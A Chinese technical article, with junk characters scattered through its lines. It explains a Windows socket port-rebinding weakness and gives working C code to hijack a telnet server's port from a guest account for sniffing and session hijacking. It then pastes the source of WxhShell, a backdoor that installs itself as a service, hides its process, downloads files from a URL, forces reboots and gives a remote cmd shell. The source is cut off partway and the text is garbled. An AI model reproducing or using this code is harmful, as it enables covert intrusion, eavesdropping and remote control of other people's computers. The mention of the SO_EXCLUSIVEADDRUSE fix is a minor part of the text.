在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
QQ{*j7i) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ThW9=kzQW mAW(j@5sp saddr.sin_family = AF_INET;
lf
KV% _dAn/rj
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
L8'4d'N+> "%dENK bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
qRcg|']R =MM+(mD 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
l :u1P "5FP$oR 这意味着什么?意味着可以进行如下的攻击:
vR5X 1|>vk+;1h 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
NM),2% < hSAI G 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
:@E^oNKa0 hR2 R
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
c w)J+Lyh FqnD"]A 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
2sG1Hox U+4[w`a} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
U
Rq9:{ 4, Vx3QFZ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
};"_Ku4#- QZ7W:%r(4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
^!k_"C)B H=WB6~8) #include
?5lO1( #include
n!X%i+|4x #include
HpUJ_pZ #include
B>d49(jy DWORD WINAPI ClientThread(LPVOID lpParam);
yHs9J1Sf int main()
b%@9j; {
.}+3A~ WORD wVersionRequested;
MZA%ET,l,< DWORD ret;
Y:Lkh>S1Q WSADATA wsaData;
=F/ R*5:T BOOL val;
H>]*<2(=- SOCKADDR_IN saddr;
xN>\t& c SOCKADDR_IN scaddr;
?;5/"/i int err;
Nknd8 >Hy+ SOCKET s;
;H71A[M
T SOCKET sc;
jY/(kA]} int caddsize;
3^q9ll7Op HANDLE mt;
A>S7Ap4z> DWORD tid;
7oUo [ wVersionRequested = MAKEWORD( 2, 2 );
7T!t*sSO' err = WSAStartup( wVersionRequested, &wsaData );
eW3?3l`fvt if ( err != 0 ) {
{(F}SF{ printf("error!WSAStartup failed!\n");
Vi'7m3& return -1;
JW2f 6!b }
nDckT+eJ saddr.sin_family = AF_INET;
.9g :-hv tx+P@9M_Aq //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
P$AHw;n[R }waZGJLN saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
^:f)XZ saddr.sin_port = htons(23);
}> C?Zx* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
K~^o06 Y {
LSXsq} printf("error!socket failed!\n");
5OOXCtIKf return -1;
~fcC+"7q/ }
lY,9bSF$ val = TRUE;
Vz!{nL0Q( //SO_REUSEADDR选项就是可以实现端口重绑定的
"~6&rt if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
gr.G']9lNq {
ev/)#i#s{ printf("error!setsockopt failed!\n");
Dq!YB[Z$: return -1;
?aTC+\= }
CJ)u#PmkJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$SFreyI;Uf //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]eFNR1<OP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
km
lb,P h.- o$+Sa if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
=bvLMpa {
r"x}=# b! ret=GetLastError();
`\3RFr printf("error!bind failed!\n");
>oEFuwE return -1;
l#>A.-R*` }
6BQq|:U listen(s,2);
Kh&a# ~c while(1)
|Df`Aq(eYJ {
S4(?=,^- caddsize = sizeof(scaddr);
,L>{(Q) //接受连接请求
TDg<&ND3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
XC/M:2$ if(sc!=INVALID_SOCKET)
Z%3)w. {
L!ms{0rJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
* "?,. if(mt==NULL)
'?{L
gj^R {
-I#<?=0B printf("Thread Creat Failed!\n");
m,w^,) break;
=PjdL32 }
R \y
qM;2 }
S!JLy&@ CloseHandle(mt);
+f_3JL$ }
Tn>L? closesocket(s);
qCm%};yt WSACleanup();
md : Wx return 0;
DC$> 5FDv }
j \ #y DWORD WINAPI ClientThread(LPVOID lpParam)
w/(2fU ( {
4}YHg&@\d% SOCKET ss = (SOCKET)lpParam;
<
r b5' SOCKET sc;
+tYskx/ unsigned char buf[4096];
"oR%0pU* SOCKADDR_IN saddr;
YsTF10 long num;
4QNwu7TeR DWORD val;
4!'4 l=jO DWORD ret;
>DzW OB //如果是隐藏端口应用的话,可以在此处加一些判断
'^2bC //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
$V_w4!:Q saddr.sin_family = AF_INET;
$B%3#- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
%]F{aR saddr.sin_port = htons(23);
HXqG;Fds( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
b|@f!lA {
6gq`V, printf("error!socket failed!\n");
3%N!omAe return -1;
N{!@M_C^%R }
A_J!VXq val = 100;
Nlm3RxSn if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
o1&Oug {
+]C|y ,r ret = GetLastError();
U\YzE.G1]S return -1;
\9:IL9~F }
s=#[>^? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*zX^Sg-[ {
s8r[U, }( ret = GetLastError();
}\ya6Gi8 return -1;
09Z\F^*$F }
vFgnbWxG if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
f+QDjJ?z {
Jy]}'eE?pr printf("error!socket connect failed!\n");
^p\n/#B closesocket(sc);
pr1>:0dg closesocket(ss);
>?$qKu return -1;
{=y~O }
BUla2p while(1)
*{e,< DV {
:YmFQ>e? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
9 NC'iFQ# //如果是嗅探内容的话,可以再此处进行内容分析和记录
Novn#0a //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
QWwEfL num = recv(ss,buf,4096,0);
z'Fu} ho if(num>0)
`ItPTSOi send(sc,buf,num,0);
'd< 1;Ayw else if(num==0)
FK,YVY break;
uup>WW num = recv(sc,buf,4096,0);
/JP%gD"8 if(num>0)
Ar[$% send(ss,buf,num,0);
%h=cwT6 else if(num==0)
r@H7J 5<Y- break;
cbX< }
KMV&c closesocket(ss);
>=L<3W1 closesocket(sc);
a0B,[i return 0 ;
gG,gL9o }
'v&f ]y/!GFQ {UOR_Vt!* ==========================================================
9m2Yrj93 )^Md ^\? 下边附上一个代码,,WXhSHELL
"3uPK$ SBG.t: ==========================================================
9%bqY9NFd W}> wRy #include "stdafx.h"
/y5a~3 /m*+N9) #include <stdio.h>
Z E},xU% #include <string.h>
_n3" #include <windows.h>
E&2mFg #include <winsock2.h>
P%kJq^& #include <winsvc.h>
sfEy #include <urlmon.h>
,*{9g6 :=,lG ou #pragma comment (lib, "Ws2_32.lib")
os`#:Ao5 #pragma comment (lib, "urlmon.lib")
>l0D,-O]m rY(h }z #define MAX_USER 100 // 最大客户端连接数
J[4IO #define BUF_SOCK 200 // sock buffer
|gJI}"T #define KEY_BUFF 255 // 输入 buffer
<a$'tw-8 9]*hP]( #define REBOOT 0 // 重启
7V7iIbi #define SHUTDOWN 1 // 关机
.s>PDzM$ t3FfPV!P" #define DEF_PORT 5000 // 监听端口
aECQ(]q L[p[m~HjG^ #define REG_LEN 16 // 注册表键长度
>=3ay^(Y2D #define SVC_LEN 80 // NT服务名长度
^/v!hq_#%& x[eho,6) // 从dll定义API
+Zo&c} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
uSn<]OrZo` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<S` N9a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
$_0~Jzt, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
K6;
s xF ; Uf]-uS // wxhshell配置信息
g{$F;qbkO struct WSCFG {
#~@Cl9[)D int ws_port; // 监听端口
tGh!5EZ6` char ws_passstr[REG_LEN]; // 口令
HCVMqG! int ws_autoins; // 安装标记, 1=yes 0=no
Qo \;) char ws_regname[REG_LEN]; // 注册表键名
3/?{=
{ char ws_svcname[REG_LEN]; // 服务名
@G>Q(a*, char ws_svcdisp[SVC_LEN]; // 服务显示名
'hH3d"a^= char ws_svcdesc[SVC_LEN]; // 服务描述信息
`q(eB=6;[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
-c'~0g]< int ws_downexe; // 下载执行标记, 1=yes 0=no
Ok6c E char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
"yc_*R(pU char ws_filenam[SVC_LEN]; // 下载后保存的文件名
CLX!qw]@ + >ay%
!X@3" };
IA?v[xu b#z{["%Zp // default Wxhshell configuration
p:8&&v~I struct WSCFG wscfg={DEF_PORT,
sas:5iB5 "xuhuanlingzhe",
x5)YZ~5 1,
h`%}5})= "Wxhshell",
^SH8*7l7 "Wxhshell",
Dwp-*QK^G "WxhShell Service",
1me16 5y<B "Wrsky Windows CmdShell Service",
*wVWyC "Please Input Your Password: ",
f6-OR]R5 1,
#99fFs`w "
http://www.wrsky.com/wxhshell.exe",
d%='W|i\p& "Wxhshell.exe"
'-5Q>d~&h };
j6{9XIRo_ MZInS:Vj // 消息定义模块
f)/5%W7n} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=]yzy:~ey char *msg_ws_prompt="\n\r? for help\n\r#>";
'WLh
D< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
GH!Lu\y\ char *msg_ws_ext="\n\rExit.";
EvEI5/z char *msg_ws_end="\n\rQuit.";
E[N3`" char *msg_ws_boot="\n\rReboot...";
Qt+;b char *msg_ws_poff="\n\rShutdown...";
XrD@q char *msg_ws_down="\n\rSave to ";
c O[Hr .gK>O2hI char *msg_ws_err="\n\rErr!";
S;]][h= char *msg_ws_ok="\n\rOK!";
BVk&TGa;[$ yG<`7v char ExeFile[MAX_PATH];
n_X)6 s int nUser = 0;
vuE 1(CR HANDLE handles[MAX_USER];
U4hFPK< int OsIsNt;
+Tug.[A pN
^^U[ SERVICE_STATUS serviceStatus;
0X"D!G): SERVICE_STATUS_HANDLE hServiceStatusHandle;
#.kDin~! ]NrA2i? // 函数声明
u= u#6% int Install(void);
0pu=, int Uninstall(void);
cK(S{|F int DownloadFile(char *sURL, SOCKET wsh);
CHPu$eu int Boot(int flag);
}b5If7 void HideProc(void);
OLS. 0UEc int GetOsVer(void);
-l#h^ int Wxhshell(SOCKET wsl);
a
J&)-ge void TalkWithClient(void *cs);
vUU)zZB~ int CmdShell(SOCKET sock);
@L ,hA
v^ int StartFromService(void);
:n} NQzs int StartWxhshell(LPSTR lpCmdLine);
2!+saf^-, sF`ELrR \ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
qz
.{[l VOID WINAPI NTServiceHandler( DWORD fdwControl );
+7]]=e<[E ?onTW2cG; // 数据结构和表定义
FnFJw;:,{ SERVICE_TABLE_ENTRY DispatchTable[] =
vdLBf+Zi {
o2C{V1nB {wscfg.ws_svcname, NTServiceMain},
sAG#M\A6 {NULL, NULL}
)Kw
Gb&l& };
LyB &u() ^t{2k[@ // 自我安装
.0b$mSV[ int Install(void)
KDODUohC {
d?uN6JH9 char svExeFile[MAX_PATH];
2MapB* HKEY key;
n%J{Tcn6 strcpy(svExeFile,ExeFile);
!b0ANIp U)n+j}vi // 如果是win9x系统,修改注册表设为自启动
O*8.kqlgt if(!OsIsNt) {
^mA ^7jB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
np#RBy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C;C= g1I} RegCloseKey(key);
TZ2-%k# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;n)9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Pq@%MF]5 RegCloseKey(key);
Av#_cL return 0;
ca}, tov& }
Vk>m/" }
XDWR] }
E~y@ue: else {
1D6F
WYV8 [Pnk@jIk4 // 如果是NT以上系统,安装为系统服务
_4]GP3` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
?Thh7#7LM if (schSCManager!=0)
LR5X=&k {
I|27%i SC_HANDLE schService = CreateService
drr n&y (
iksd^\]f schSCManager,
AP8YY8,
wscfg.ws_svcname,
(rM-~h6g wscfg.ws_svcdisp,
}?0At<(d SERVICE_ALL_ACCESS,
/kLG/ry8l: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
PSM~10l, SERVICE_AUTO_START,
y]5c!N %8 SERVICE_ERROR_NORMAL,
j6NK7Li svExeFile,
2Bf]#l{z NULL,
GjmPpKIu\ NULL,
!G0OD$ NULL,
Sas&P:#r NULL,
U;l!.mze NULL
j~IX );
X
\1grM if (schService!=0)
EO<{Bj=2 {
^HYrJr$y CloseServiceHandle(schService);
yv@td+-"D CloseServiceHandle(schSCManager);
HX(Z(rcI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
(H\)BS7#R strcat(svExeFile,wscfg.ws_svcname);
w*E0f?s if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
^"g # ! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
U=<d;2N# RegCloseKey(key);
h]6"~ m return 0;
jI-\~ }
0gs0[@ }
01 vEt CloseServiceHandle(schSCManager);
v7i5R ! }
B-@ ]+W }
&K1\" ubpVrvu@ return 1;
k|Hxd^^I }
\sUk71L`j u;[*Z // 自我卸载
5L'bF2SI int Uninstall(void)
mr`Lxy9e {
"`aNNIG& HKEY key;
Guc~]
B 3(Y#*f| if(!OsIsNt) {
80p? qe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
C1/<t)^ RegDeleteValue(key,wscfg.ws_regname);
xS4B"/ RegCloseKey(key);
A 11w{`EM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&s +DK` RegDeleteValue(key,wscfg.ws_regname);
!zd]6YL$ RegCloseKey(key);
{iyO96YI[^ return 0;
W'
DpI7 }
C
Rd1zDB }
J^Dkx"1GD }
y?t2@f]!XK else {
lcv&/ A RY>BP[h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
(&=<UGY(w if (schSCManager!=0)
_;;'/rs
j {
9WJS.\G^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
DPU%4te if (schService!=0)
!zhg3B#p {
)CYm/dk if(DeleteService(schService)!=0) {
!L+4YA CloseServiceHandle(schService);
Z/|oCwR CloseServiceHandle(schSCManager);
AE_7sM return 0;
[r,ZM }
wTpjM@F?J| CloseServiceHandle(schService);
* 5H }
/``4!jU CloseServiceHandle(schSCManager);
[>B`"nyNQ }
DE{tpN }
/_N*6a~ )9^0Qk' ] return 1;
0I8w'/s_g9 }
pwiXA{ EXdx$I=X // 从指定url下载文件
rRTAWAs%T int DownloadFile(char *sURL, SOCKET wsh)
8y<NT" {
0 > HRESULT hr;
\m>mE/N char seps[]= "/";
QbF!V%+a's char *token;
h83;}> char *file;
'u\my char myURL[MAX_PATH];
Y7|R vLWoP char myFILE[MAX_PATH];
h:[8$] [7K-L6X strcpy(myURL,sURL);
-P+@n)?T6 token=strtok(myURL,seps);
Ca SoR | while(token!=NULL)
Ya#,\;dTT {
b'D|p/)m0S file=token;
&a'H vQV token=strtok(NULL,seps);
9q?\F }
{^r8uKo:~ q8 j
W&_ GetCurrentDirectory(MAX_PATH,myFILE);
*PXlbb strcat(myFILE, "\\");
#~&SkIhBE strcat(myFILE, file);
$.a4Og2 send(wsh,myFILE,strlen(myFILE),0);
y>:-6)pv send(wsh,"...",3,0);
j89C~xP6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
F"3LG" if(hr==S_OK)
J 8/]&Ow return 0;
$ BEIG@qG else
e{ce
\ return 1;
EFb1Y{u^\! ,a:!"Z^f }
sH//*y &rTOJ1)V} // 系统电源模块
U]Iypl`l int Boot(int flag)
To x{Sk3L {
SJYy,F],V" HANDLE hToken;
QKj-"y[ TOKEN_PRIVILEGES tkp;
`N+A8 bN Ub if(OsIsNt) {
mkA1Sh{hX> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Ueq*R(9> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:# 1d;jx tkp.PrivilegeCount = 1;
QAp+LSm tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?s4-2g AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8"d0Su4r if(flag==REBOOT) {
9?VyF'r= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
]Iku(<*Ya return 0;
9#:b+Amzz }
!xU1[,9 else {
]et4B+=i if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
q*^Y8s~3I return 0;
d?j_L`?+ }
~0mO<0~ }
-`z`K08sT else {
Ca: jN0 if(flag==REBOOT) {
Tgpf0( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
j,q8n`@ return 0;
=j%B`cJ66_ }
9<0p1W O else {
.hYrE5\- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
B{\cV-X$0 return 0;
0JQ0lzk1 }
VDCG
5QP6( }
'=|2, H] R)>/P{A-P return 1;
2OXcP!\Y }
@a AR99 M 'A0.(a5 // win9x进程隐藏模块
k4|9'V&1*6 void HideProc(void)
vqq7IV)| {
[dm&I#m= <kQ
5sG HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
rJ
LlDKP-( if ( hKernel != NULL )
}GIwYh/ {
UL81x72O pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
7M#eR8*[se ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
#~A (%a FreeLibrary(hKernel);
KeU|E<|! }
,o$F~KPu k z|2PP return;
8p4J7 - }
<a)B5B> "}_b,5lkGK // 获取操作系统版本
X^!n'$^u int GetOsVer(void)
{1RI!#[\ {
ff.(X! OSVERSIONINFO winfo;
T#;W5<" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#) eI] GetVersionEx(&winfo);
Fai_v{&? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
k
lLhi<* return 1;
` ZO#n else
Z(fXN$ return 0;
^[K3]*!@ }
bRSE"B
U 6(( // 客户端句柄模块
k)Y}X)\36 int Wxhshell(SOCKET wsl)
t')47k\ {
i$~2pr SOCKET wsh;
yN9k-IPI struct sockaddr_in client;
'H"wu
/# DWORD myID;
P5u
Y1( dGxk
ql while(nUser<MAX_USER)
r)ni;aP {
mR3)$! int nSize=sizeof(client);
l@ +lUx8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
m3Mo2};? if(wsh==INVALID_SOCKET) return 1;
8(yZX4OH> hu?Q,[+o handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
z >EO Qe if(handles[nUser]==0)
8>T#sO?+ closesocket(wsh);
+D[|Mi else
~vqVASUc, nUser++;
5a$Q}!6E.Y }
X9W'.s.[Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
gZa/?[+ ]Gk;n/!
B return 0;
\!!qzrq }
QucDIZ |Z]KF>S] // 关闭 socket
l;*/F`>c void CloseIt(SOCKET wsh)
=?o, ' n0 {
HGuU6@~hu closesocket(wsh);
YX A|1 nUser--;
RJpH1XQ
j ExitThread(0);
;yfKYN[ }
Wo&WO
e 8*nv+ // 客户端请求句柄
w_c)iJ void TalkWithClient(void *cs)
y^PQgzm] {
,g69 ?w r[doN{% SOCKET wsh=(SOCKET)cs;
75@!j[QL< char pwd[SVC_LEN];
cB$OkaG# char cmd[KEY_BUFF];
#@ClhpLD char chr[1];
]><K8N3Z int i,j;
oRf.34 cyM9[X4rC while (nUser < MAX_USER) {
zD#$]?@ b k|C~qe3E if(wscfg.ws_passstr) {
icO$9c if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{e'P*j //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
bQU{)W //ZeroMemory(pwd,KEY_BUFF);
|PGF g0li i=0;
g=Gd| while(i<SVC_LEN) {
l ga%U~ OyI?P_0u // 设置超时
` ,lm:x+(0 fd_set FdRead;
YmrrZ&]q struct timeval TimeOut;
d=`a-R0 FD_ZERO(&FdRead);
L/ L#[ FD_SET(wsh,&FdRead);
z7vc|Z|
TimeOut.tv_sec=8;
5j8aMnv s TimeOut.tv_usec=0;
/
.wO<l= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
AnF"+< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Sb2hM~ ;jgk53lo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_Y{8FN(4 pwd
=chr[0]; Hw0S/ytY
if(chr[0]==0xd || chr[0]==0xa) { M~rN17S
pwd=0; =`MxgK +
break; s3(mkdXv
} U0ZT9/4
i++; Yfbo=yk
} oI\Lepl*
,9A1p06
// 如果是非法用户,关闭 socket GHs,,J;
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {yo{@pdX>
} =3h?!$#?
DOaTp f
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C VXz>oM
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d4ga6N3'
:d AC:h
while(1) { }3825
"[wkjNf%
ZeroMemory(cmd,KEY_BUFF); JXx[e
5T*Uq>x0
// 自动支持客户端 telnet标准 OLH[F
j=0; W
u C2LM
while(j<KEY_BUFF) { OO?;??
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1>c^-"#e^
cmd[j]=chr[0]; RJ\'"XQ
if(chr[0]==0xa || chr[0]==0xd) { <E2nM,
cmd[j]=0; )r0XQa]@$
break; jv;8Mm
}
ff;9P5X
j++; v pg*J/1[
} dguN<yS-E
T'ko =k
// 下载文件 ;L*Ku'6Mt
if(strstr(cmd,"http://")) { +$uQ_ve
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >Ut4INV
if(DownloadFile(cmd,wsh)) '?Jz8iu-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }'KHF0
else htuYctu`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :5'8MU
}
|F}6Zv
else { o?{-K-'B$
.5^7Jwh
switch(cmd[0]) { i5*BZv>e
B>;`$-
// 帮助 +s j2C
case '?': { `o4%UkBpM
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ykS-5E`
break; .A Dik}o
} "C]v
// 安装 qo*%S
case 'i': { ;hV-*;>
if(Install()) S4Q
fx6:~h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UfkQG`G9H
else Hk 0RT%PK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {3* Ne /
break; r`\6+ Ntb.
} EXbaijHQG
// 卸载 &*Z"r*
case 'r': { Z?f-_NHg
if(Uninstall()) gq7l>vT.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;u?L>(b
else A4tb>OM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oazY?E]}3
break; 'QdDXw5o
} ii5dTimRJ
// 显示 wxhshell 所在路径 B9:
i.rQ
case 'p': { 0woLB#v9
char svExeFile[MAX_PATH]; uj~(r=%
strcpy(svExeFile,"\n\r"); ~]Weyb[N
strcat(svExeFile,ExeFile); Vr7L9%/wg
send(wsh,svExeFile,strlen(svExeFile),0); I_s* pT
break; 4n0Iw I
} Krd0Gc~\|
// 重启 +zg3/C4 S
case 'b': { wZg~k\_lF
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {00Qg{;K|
if(Boot(REBOOT)) 8zO;=R A7%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kgw,]E&7
else { vnx+1T
closesocket(wsh); M\A6;dz'
ExitThread(0); `]I p`_{
} _[pbfua
break; Ew )1O9f
} *5KDu$'(e
// 关机 Rd;^ fBx
case 'd': { B'-n
^';
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8\S$iGd
if(Boot(SHUTDOWN)) s^"*]9B"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zXW)v/
ZD
else { -4v2]
closesocket(wsh); a|-ozBFR
ExitThread(0); 1wy?<B.f
} ~,Kx"VK
break; X?$"dqA
} 7S{yKS
// 获取shell pS~=T}o
case 's': { 2AXf'IOqE
CmdShell(wsh); IP!`;?T=
closesocket(wsh); W.(Q
u-AE(
ExitThread(0); > ofWHl[-
break; r]deVd G
} QKI g5I-
// 退出 MmQk@~
case 'x': { >ra)4huZ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gs(ZJO1 /L
CloseIt(wsh); Aj*|r
break; GGU>={D)
} {#,?K
// 离开 T2_b5j3i
case 'q': { E/hO0Ox6
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y^QG\6q
closesocket(wsh); 3~\,VO''
WSACleanup(); @6Z6@Pq(xQ
exit(1); b"y4-KV
break; .wPI%5D
} {XH3zMk[
} Zg3
/,:1
}
^+wA,r.
hO2W!68
// 提示信息 BU O8Z]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "..I$R
} TR9dpt+T
} {Fvl7Sh
!>:]k?$b
return; <C_FRpR<f
} q4SEvP}fLx
LaYd7Oyf]
// shell模块句柄 ^|(VI0KO
int CmdShell(SOCKET sock) z:;yx
{ u =lsH
STARTUPINFO si; YJ}9VY<}1K
ZeroMemory(&si,sizeof(si)); t8ORfO+
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Prrz>
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0.&-1pw
PROCESS_INFORMATION ProcessInfo; ;!B,P-Z"g
char cmdline[]="cmd"; bb}Fu/S
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _2WW0
return 0; \;1nEjIA
} m U= 3w
9h"3u;/,
// 自身启动模式 ?(Xy 2%v
int StartFromService(void) HHL7z,%f
{ eyy%2>b
typedef struct Jo\karpb
{ 8(]q/g"O
DWORD ExitStatus; y?UB?2VN
DWORD PebBaseAddress; P1&Irwb`
DWORD AffinityMask; #i=m%>zjN
DWORD BasePriority; ^;[^L=}8$
